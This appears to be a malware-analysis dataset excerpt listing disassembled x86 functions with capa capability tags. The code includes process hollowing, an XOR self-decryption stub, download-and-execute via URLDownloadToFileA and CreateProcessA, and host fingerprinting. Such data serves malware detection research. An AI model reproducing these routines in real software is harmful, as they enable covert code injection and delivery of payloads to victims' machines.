joyce8/EMBER2024-capa huggingface dataset:
Function at 0x37070
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x188
mov eax, dword [0x92014]
xor eax, esp
mov dword [esp + 0x184], eax
push esi
push edi
push 0x104
lea eax, [esp + 0x84]
mov esi, ecx
push eax
push 0
call 0x2470730
nop
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x37259
mov edi, dword [esi + 0x3c]
add edi, esi
cmp dword [edi], 0x4550
jne 0x37259
push 0x44
lea eax, [esp + 0x3c]
push 0
push eax
call fcn.00064020
add esp, 0xc
lea eax, [esp + 0x20]
xorps xmm0, xmm0
movaps xmmword [esp + 0x20], xmm0
push eax
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [esp + 0xa4]
push eax
call 0x2470828
nop
test eax, eax
je 0x37259
push 4
push 0x1000
push 4
push 0
call 0x2320f0c
nop
push eax
mov dword [esp + 0x1c], eax
mov dword [eax], 0x10007
push dword [esp + 0x28]
call 0x2250082
nop
test eax, eax
je 0x37259
push 0
push 4
lea eax, [esp + 0x24]
push eax
push 0x88da0
push dword [esp + 0x30]
call 0x2250438
nop
mov eax, dword [edi + 0x34]
cmp dword [esp + 0x1c], eax
jne 0x3717c
push 0x88da4
push 0x88dbc
call 0x2320afb
nop
push eax
call 0x22501ee
nop
push dword [esp + 0x1c]
push dword [esp + 0x24]
call eax
mov eax, dword [edi + 0x34]
push 0x40
push 0x3000
push dword [edi + 0x50]
push eax
push dword [esp + 0x30]
call 0x22502a0
nop
mov dword [esp + 0x14], eax
test eax, eax
je 0x37259
push 0
push dword [edi + 0x54]
push esi
push eax
push dword [esp + 0x30]
call 0x2470643
nop
xor eax, eax
mov dword [esp + 0x10], 0
cmp ax, word [edi + 6]
jae 0x37213
mov dword [esp + 0xc], eax
call fcn.00036ec0
push eax
call 0x22d0630
nop
mov ecx, dword [esp + 0xc]
add ecx, esi
add ecx, dword [esi + 0x3c]
push 0
push dword [ecx + 0x108]
mov eax, dword [ecx + 0x10c]
add eax, esi
push eax
mov eax, dword [ecx + 0x104]
add eax, dword [esp + 0x20]
push eax
push dword [esp + 0x30]
call 0x2470643
nop
mov ecx, dword [esp + 0x10]
movzx eax, word [edi + 6]
inc ecx
add dword [esp + 0xc], 0x28
mov dword [esp + 0x10], ecx
cmp ecx, eax
jl 0x371c2
push 0
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [esp + 0x24]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
push dword [esp + 0x30]
call 0x2470643
nop
mov ecx, dword [esp + 0x18]
mov eax, dword [edi + 0x28]
add eax, dword [esp + 0x14]
push ecx
mov dword [ecx + 0xb0], eax
push dword [esp + 0x28]
call 0x2250682
nop
push dword [esp + 0x24]
call 0x2320bf8
nop
push 0x8000
push 0
push esi
call 0x2470543
nop
mov ecx, dword [esp + 0x18c]
mov al, 1
pop edi
pop esi
xor ecx, esp
call fcn.0004cf21
mov esp, ebp
pop ebp
ret
Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..text
nop
nop
mov ebx, 0x408f6c
mov ecx, 0x1ef84e7d
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e3d0
nop
nop
mov ecx, 0x520879e1
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43006c
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x10002a60
Capabilities:
Check os version
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
mov eax, dword [0x10036040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push esi
push edi
call ebx
mov edx, eax
call fcn.10009bd0
push 0x1003caa8
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x104
push 0x1003cda0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov ecx, 0x104
mov eax, 0x1003cda0
nop
cmp byte [eax], 0
je 0x10002abb
inc eax
sub ecx, 1
jne 0x10002ab0
mov esi, 0x104
mov edi, ecx
mov eax, esi
sub eax, ecx
neg edi
sbb edi, edi
and edi, eax
test ecx, ecx
je 0x10002b1a
mov edx, esi
lea ecx, [edi + 0x1003cda0]
sub edx, edi
je 0x10002b0f
mov esi, dword [0x10031f88]
mov eax, bind
sub esi, ecx
nop dword [eax]
test eax, eax
je 0x10002b04
mov bl, byte [esi + ecx]
test bl, bl
je 0x10002b04
mov byte [ecx], bl
dec eax
inc ecx
sub edx, 1
jne 0x10002af0
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov esi, 0x104
test edx, edx
lea eax, [ecx - 1]
cmovne eax, ecx
mov byte [eax], 0
push 0x104
push 0x1003cc70
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, dword [0x10031f88]
mov ecx, 0x104
mov eax, 0x1003cc70
nop word [eax + eax]
cmp byte [eax], 0
je 0x10002b4b
inc eax
sub ecx, 1
jne 0x10002b40
mov eax, esi
mov edx, ecx
sub eax, ecx
neg edx
sbb edx, edx
and edx, eax
test ecx, ecx
je 0x10002b8f
lea ecx, [edx + 0x1003cc70]
sub esi, edx
je 0x10002b84
mov eax, bind
sub edi, ecx
nop dword [eax]
test eax, eax
je 0x10002b84
mov dl, byte [edi + ecx]
test dl, dl
je 0x10002b84
mov byte [ecx], dl
dec eax
inc ecx
sub esi, 1
jne 0x10002b70
test esi, esi
lea eax, [ecx - 1]
cmovne eax, ecx
mov byte [eax], 0
push dword [0x10031fa0]
mov esi, dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 1
push 0
call esi
push 0
push 0
push 0
push 0
mov dword [0x1003ba74], eax
call esi
push 0x90
mov dword [0x1003ba68], eax
lea eax, [ebp - 0x9c]
push 0
push eax
call fcn.1000ea10
add esp, 0xc
mov dword [ebp - 0xa0], 0x94
lea eax, [ebp - 0xa0]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x10002c01
cmp dword [ebp - 0x90], 2
jne 0x10002c01
cmp dword [ebp - 0x9c], 6
jb 0x10002c01
mov eax, 1
jmp 0x10002c03
xor eax, eax
push 0x100320f0
push str.kernel32
mov dword [0x1003ba64], eax
mov dword [ebp - 0xa4], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x10002c4b
lea eax, [ebp - 0xa4]
push eax
call ebx
push eax
call esi
cmp dword [ebp - 0xa4], 0
je 0x10002c4b
mov eax, 1
jmp 0x10002c4d
xor eax, eax
mov dword [0x1003cbb0], eax
call fcn.10006550
call fcn.100055d0
call fcn.10005930
test eax, eax
jne 0x10002c6a
call fcn.10005800
cmp dword [0x1003ba64], 1
jne 0x10002c97
cmp dword [0x1003cbb0], 1
jne 0x10002c92
call fcn.10007100
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000d0c5
mov esp, ebp
pop ebp
ret
call fcn.10007560
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000d0c5
mov esp, ebp
pop ebp
ret
Function at 0x10002cf0
Capabilities:
Create thread
Initialize winsock library
Terminate thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x3b8
mov eax, dword [0x10036040]
xor eax, esp
mov dword [esp + 0x3b4], eax
mov eax, dword [0x1003cf40]
sub eax, dword [0x1003cf38]
sar eax, 2
imul eax, eax, 0xc9484e2b
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [esp + 8], 0x83000
cmp eax, 0x83000
jae 0x10002d3c
lea eax, [esp + 8]
push eax
call fcn.10008310
mov eax, dword [0x1003cf54]
sub eax, dword [0x1003cf4c]
sar eax, 2
mov dword [esp + 8], 0x20
cmp eax, 0x20
jae 0x10002d61
lea eax, [esp + 8]
push eax
call fcn.10008410
push 0x104
lea eax, [esp + 0x1b4]
push 0
push eax
call fcn.1000ea10
add esp, 0xc
lea eax, [esp + 0x1b0]
push 0x104
push dword [esi]
push 0x104
push eax
lea eax, [esp + 0x1c]
push eax
call fcn.100127c2
add esp, 0x14
lea eax, [esp + 0x1b0]
push 0
push 0x10003000
push eax
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerExA]
mov dword [0x1003ba60], eax
test eax, eax
je 0x10002f75
lea eax, [esp + 0x20]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x10002f75
mov esi, dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
push 0xfa0
push 0x1003cd7c
call esi
push 0xfa0
push 0x1003cc38
call esi
push 0x1003cc38
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 1
mov ecx, 2
call fcn.10002f90
add esp, 4
mov ecx, 4
push 0
call fcn.10002f90
add esp, 4
call fcn.10002a60
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push 0
push 0
push 0x10002840
push 0
push 0
mov dword [0x1003ba6c], 1
call fcn.100113c2
add esp, 0x18
test eax, eax
je 0x10002f32
push 0x100
lea eax, [esp + 0x2bc]
push 0
push eax
call fcn.1000ea10
add esp, 0xc
cmp dword [0x1003ba7c], 0
je 0x10002e9e
nop
lea ecx, [esp + 0x2b8]
call fcn.10004be0
test eax, eax
jne 0x10002e9e
push 0x1388
push dword [0x1003ba74]
call edi
test eax, eax
je 0x10002f32
cmp dword [0x1003ba6c], 0
jne 0x10002e70
push 0
push 0
push 0
push 0x10003b20
push 0
push 0
call fcn.100113c2
mov esi, eax
add esp, 0x18
test esi, esi
je 0x10002f32
call fcn.10003450
push 0xffffffffffffffff
push dword [0x1003cf5c]
xorps xmm0, xmm0
movaps xmmword [esp + 0x18], xmm0
mov dword [esp + 0x18], 1
call edi
test eax, eax
jne 0x10002ef2
push eax
lea eax, [esp + 0x14]
push eax
push 0
push dword [0x1003cf58]
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
push 0x3e8
push esi
call edi
test eax, eax
je 0x10002f07
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x4e20
push dword [0x1003ba74]
call edi
test eax, eax
je 0x10002f32
mov eax, dword [0x1003cd78]
cmp eax, 3
je 0x10002f32
cmp eax, 1
jne 0x10002e25
push 1
mov ecx, 3
call fcn.10002f90
add esp, 4
mov ecx, 1
push 0
call fcn.10002f90
add esp, 4
push 0x1003cc38
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0x1003cc38
call esi
push 0x1003cd7c
call esi
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [esp + 0x3bc]
pop edi
pop esi
xor ecx, esp
call fcn.1000d0c5
mov esp, ebp
pop ebp
ret
Function at 0x10003170
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x10036040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 1
push 2
mov ebx, edx
mov esi, ecx
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
jne 0x100031ad
or eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000d0c5
mov esp, ebp
pop ebp
ret
push 0xa
push 0
push esi
call fcn.100121c5
push 0xa
push 0
push ebx
mov esi, eax
call fcn.1001217f
add esp, 0x18
mov dword [ebp - 0x10], esi
sub eax, 0x10e1
xorps xmm0, xmm0
movzx ecx, ax
mov eax, 2
movlpd qword [ebp - 0xc], xmm0
push ecx
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push edi
call dword [sym.imp.WS2_32.dll_connect]
push 2
push edi
call dword [sym.imp.WS2_32.dll_shutdown]
xor eax, eax
push 4
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push eax
push 0x80
push 0xffff
push edi
call dword [sym.imp.WS2_32.dll_setsockopt]
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000d0c5
mov esp, ebp
pop ebp
ret
Function at 0x10004a30
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x16c
mov eax, dword [0x10036040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x110]
mov esi, edx
push 0
push eax
mov edi, ecx
call fcn.1000ea10
add esp, 0xc
lea eax, [ebp - 0x110]
push esi
push 0x1003caa8
push 0x10031914
push 0x104
push eax
call fcn.10001250
add esp, 0x14
push edi
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push 0
push 0
lea eax, [ebp - 0x110]
push eax
push edi
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
je 0x10004ab1
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000d0c5
mov esp, ebp
pop ebp
ret
mov edi, dword [str._ibm]
lea eax, [ebp - 0x110]
mov ecx, 0x104
cmp byte [eax], 0
je 0x10004acd
inc eax
sub ecx, 1
jne 0x10004ac2
mov edx, 0x104
mov esi, ecx
mov eax, edx
sub eax, ecx
neg esi
sbb esi, esi
and esi, eax
test ecx, ecx
je 0x10004b15
lea ecx, [ebp - 0x110]
lea ecx, [ecx + esi]
sub edx, esi
je 0x10004b0a
mov eax, bind
sub edi, ecx
test eax, eax
je 0x10004b0a
mov bl, byte [edi + ecx]
test bl, bl
je 0x10004b0a
mov byte [ecx], bl
dec eax
inc ecx
sub edx, 1
jne 0x10004af6
test edx, edx
lea eax, [ecx - 1]
cmovne eax, ecx
mov byte [eax], 0
xor eax, eax
mov dword [ebp - 0x168], 0x44
mov word [ebp - 0x126], ax
xorps xmm0, xmm0
mov word [ebp - 0x138], ax
or esi, 0xffffffff
lea eax, [ebp - 0x120]
movlpd qword [ebp - 0x164], xmm0
push eax
lea eax, [ebp - 0x168]
movlpd qword [ebp - 0x15c], xmm0
push eax
push 0
push 0
push 0x20
push 0
push 0
push 0
lea eax, [ebp - 0x110]
movlpd qword [ebp - 0x154], xmm0
push eax
push 0
movlpd qword [ebp - 0x14c], xmm0
movlpd qword [ebp - 0x144], xmm0
movlpd qword [ebp - 0x136], xmm0
movlpd qword [ebp - 0x12e], xmm0
mov dword [ebp - 0x13c], 1
movups xmmword [ebp - 0x120], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x10004bb8
cmp dword [ebp - 0x120], esi
cmovne esi, dword [ebp - 0x120]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000d0c5
mov esp, ebp
pop ebp
ret
Function at 0x100055d0
Capabilities:
Get hostname
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
mov eax, dword [0x10036040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x104
lea eax, [ebp - 0x128]
push 0
push eax
call fcn.1000ea10
push 0x104
lea eax, [ebp - 0x22c]
push 0
push eax
call fcn.1000ea10
mov esi, dword [str.fvjzhBplm_pkfqqqlpimzqBjpkwqsYjzwsvk]
lea ecx, [ebp - 0x128]
mov eax, ecx
add esp, 0x18
mov edx, 0x104
sub esi, eax
lea eax, [edx + 0x7ffffefa]
test eax, eax
je 0x1000563b
mov al, byte [esi + ecx]
test al, al
je 0x1000563b
mov byte [ecx], al
inc ecx
sub edx, 1
jne 0x10005622
mov esi, dword [str.pwjqps_l]
lea eax, [ecx - 1]
test edx, edx
mov edx, 0x104
cmovne eax, ecx
lea ecx, [ebp - 0x22c]
mov byte [eax], 0
mov eax, ecx
sub esi, eax
nop dword [eax + eax]
lea eax, [edx + 0x7ffffefa]
test eax, eax
je 0x10005679
mov al, byte [esi + ecx]
test al, al
je 0x10005679
mov byte [ecx], al
inc ecx
sub edx, 1
jne 0x10005660
test edx, edx
lea eax, [ecx - 1]
lea edx, [ebp - 0x128]
cmovne eax, ecx
lea ecx, [edx + 1]
mov byte [eax], 0
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x10005690
sub edx, ecx
lea ecx, [ebp - 0x128]
call fcn.10009c80
lea edx, [ebp - 0x22c]
lea ecx, [edx + 1]
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x100056b0
sub edx, ecx
lea ecx, [ebp - 0x22c]
call fcn.10009c80
push 0x100320f0
push str.kernel32
mov dword [ebp - 0x230], 0
mov dword [ebp - 0x23c], 4
mov dword [ebp - 0x234], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x1000571d
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [ebp - 0x234], 0
mov eax, 0x20119
jne 0x10005722
mov eax, 0x20219
lea ecx, [ebp - 0x238]
push ecx
push eax
push 0
lea eax, [ebp - 0x128]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop esi
test eax, eax
jne 0x10005774
lea eax, [ebp - 0x23c]
push eax
lea eax, [ebp - 0x230]
push eax
push 0
push 0
lea eax, [ebp - 0x22c]
push eax
push dword [ebp - 0x238]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x238]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x240]
mov dword [ebp - 0x240], 0x20
push eax
xorps xmm0, xmm0
lea eax, [ebp - 0x24]
push eax
movups xmmword [ebp - 0x24], xmm0
movups xmmword [ebp - 0x14], xmm0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x100057cf
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x230]
push str.__d__s
push 0x20
push 0x1003cc50
call fcn.10001250
add esp, 0x14
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000d0c5
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x230]
push str.__d_Null
push 0x20
push 0x1003cc50
call fcn.10001250
mov ecx, dword [ebp - 4]
add esp, 0x10
xor ecx, ebp
xor eax, eax
call fcn.1000d0c5
mov esp, ebp
pop ebp
ret
Function at 0x10005800
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x289c
call fcn.1000df80
mov eax, dword [0x10036040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x2898]
push eax
call dword [sym.imp.ole32.dll_CoCreateGuid]
test eax, eax
jne 0x10005881
movzx eax, byte [ebp - 0x2889]
push eax
movzx eax, byte [ebp - 0x288a]
push eax
movzx eax, byte [ebp - 0x288b]
push eax
movzx eax, byte [ebp - 0x288c]
push eax
movzx eax, byte [ebp - 0x288d]
push eax
movzx eax, byte [ebp - 0x288e]
push eax
push 0x10031a4c
push 0x20
push 0x1003ba80
call fcn.10001250
add esp, 0x24
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000d0c5
mov esp, ebp
pop ebp
ret
push 0x287c
lea eax, [ebp - 0x2884]
mov dword [ebp - 0x2888], 0
push 0
push eax
call fcn.1000ea10
add esp, 0xc
mov dword [ebp - 0x289c], 0x2880
lea eax, [ebp - 0x289c]
push eax
lea eax, [ebp - 0x2888]
push eax
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
lea esi, [ebp - 0x2888]
nop word [eax + eax]
movzx eax, byte [esi + 0x199]
push eax
movzx eax, byte [esi + 0x198]
push eax
movzx eax, byte [esi + 0x197]
push eax
movzx eax, byte [esi + 0x196]
push eax
movzx eax, byte [esi + 0x195]
push eax
movzx eax, byte [esi + 0x194]
push eax
push str._02X:_02X:_02X:_02X:_02X:_02X
push 0x20
push 0x1003ba80
call fcn.10001250
mov esi, dword [esi]
add esp, 0x24
test esi, esi
jne 0x100058d0
mov ecx, dword [ebp - 4]
lea eax, [esi + 1]
xor ecx, ebp
pop esi
call fcn.1000d0c5
mov esp, ebp
pop ebp
ret
Function at 0x100093b0
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10033628
push 0x1000e690
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push ebx
push esi
push edi
mov eax, dword [0x10036040]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x2c], edx
mov ebx, ecx
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeA]
mov edi, eax
test edi, edi
jne 0x10009416
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push edi
call fcn.1000d62d
add esp, 4
mov esi, eax
mov dword [ebp - 0x30], esi
mov dword [ebp - 4], 0
push esi
push edi
push dword [ebp - 0x20]
push ebx
call dword [sym.imp.VERSION.dll_GetFileVersionInfoA]
mov edi, eax
mov dword [ebp - 0x1c], edi
test edi, edi
je 0x10009499
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x24]
push eax
push 0x100320a4
push esi
call dword [sym.imp.VERSION.dll_VerQueryValueA]
test eax, eax
je 0x10009499
mov edx, dword [ebp - 0x24]
mov ax, word [edx + 0xa]
mov ecx, dword [ebp - 0x2c]
mov word [ecx], ax
movzx ecx, word [edx + 8]
mov eax, dword [ebp + 8]
mov word [eax], cx
movzx ecx, word [edx + 0xe]
mov eax, dword [ebp + 0xc]
mov word [eax], cx
movzx ecx, word [edx + 0xc]
mov eax, dword [ebp + 0x10]
mov word [eax], cx
mov edi, 1
mov dword [ebp - 0x1c], edi
mov dword [ebp - 4], 0xfffffffe
call fcn.100094bf
mov eax, edi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100096d0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10028b80
mov eax, dword fs:[0]
push eax
sub esp, 0x260
mov eax, dword [0x10036040]
xor eax, ebp
mov dword [ebp - 0x18], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x258], edx
mov dword [ebp - 0x260], ecx
mov eax, dword [0x1003cd74]
mov dword [ebp - 0x264], eax
xor esi, esi
mov dword [ebp - 0x250], esi
push 0x124
push esi
lea eax, [ebp - 0x248]
push eax
call fcn.1000ea10
add esp, 0xc
mov dword [ebp - 0x24c], 0x128
push esi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [ebp - 0x268], edi
cmp edi, 0xffffffff
jne 0x1000975c
xor eax, eax
jmp 0x10009879
mov dword [ebp - 4], 0
lea eax, [ebp - 0x24c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x10009895
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
nop
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push eax
call ebx
test eax, eax
jne 0x10009838
mov eax, dword [ebp - 0x244]
cmp dword [ebp - 0x264], eax
je 0x10009838
mov dword [ebp - 0x254], 0
lea ecx, [ebp - 0x254]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
je 0x10009838
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 0x254]
jne 0x10009838
cmp dword [ebp + 0xc], 0
jne 0x10009828
push 0x104
push 0
lea eax, [ebp - 0x124]
push eax
call fcn.1000ea10
add esp, 4
lea edx, [ebp - 0x124]
mov ecx, dword [ebp - 0x244]
call fcn.100094d0
add esp, 8
push dword [ebp - 0x258]
lea eax, [ebp - 0x124]
push eax
call ebx
test eax, eax
jne 0x10009838
mov esi, dword [ebp - 0x244]
mov dword [ebp - 0x250], esi
mov dword [ebp - 4], 0xffffffff
jmp 0x10009870
mov ecx, dword [ebp - 0x244]
call fcn.1000b4e0
cmp dword [ebp + 0xc], eax
je 0x100097d6
lea eax, [ebp - 0x24c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x10009780
mov dword [ebp - 4], 0xffffffff
jmp 0x10009870
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x18]
xor ecx, ebp
call fcn.1000d0c5
mov esp, ebp
pop ebp
ret
mov dword [ebp - 0x25c], 1
push 0x100341a4
lea eax, [ebp - 0x25c]
push eax
call fcn.1000e7ee
int3
Function at 0x100098c0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10028bb0
mov eax, dword fs:[0]
push eax
sub esp, 0x258
mov eax, dword [0x10036040]
xor eax, ebp
mov dword [ebp - 0x18], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov ebx, edx
mov dword [ebp - 0x25c], ecx
xor esi, esi
mov dword [ebp - 0x254], esi
push 0x124
push esi
lea eax, [ebp - 0x248]
push eax
call fcn.1000ea10
add esp, 0xc
mov dword [ebp - 0x24c], 0x128
push esi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [ebp - 0x260], edi
cmp edi, 0xffffffff
jne 0x1000993d
xor eax, eax
jmp 0x10009a20
mov dword [ebp - 4], 0
lea eax, [ebp - 0x24c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x10009a3c
nop word [eax + eax]
mov dword [ebp - 0x250], 0
lea eax, [ebp - 0x250]
push eax
push dword [ebp - 0x244]
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
je 0x100099df
cmp ebx, dword [ebp - 0x250]
jne 0x100099df
push 0x104
push 0
lea eax, [ebp - 0x124]
push eax
call fcn.1000ea10
add esp, 4
lea edx, [ebp - 0x124]
mov ecx, dword [ebp - 0x244]
call fcn.100094d0
add esp, 8
push dword [ebp - 0x25c]
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x100099df
mov esi, dword [ebp - 0x244]
mov dword [ebp - 0x254], esi
mov dword [ebp - 4], 0xffffffff
jmp 0x10009a17
lea eax, [ebp - 0x24c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x10009960
mov dword [ebp - 4], 0xffffffff
jmp 0x10009a17
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x18]
xor ecx, ebp
call fcn.1000d0c5
mov esp, ebp
pop ebp
ret
mov dword [ebp - 0x258], 1
push 0x100341a4
lea eax, [ebp - 0x258]
push eax
call fcn.1000e7ee
int3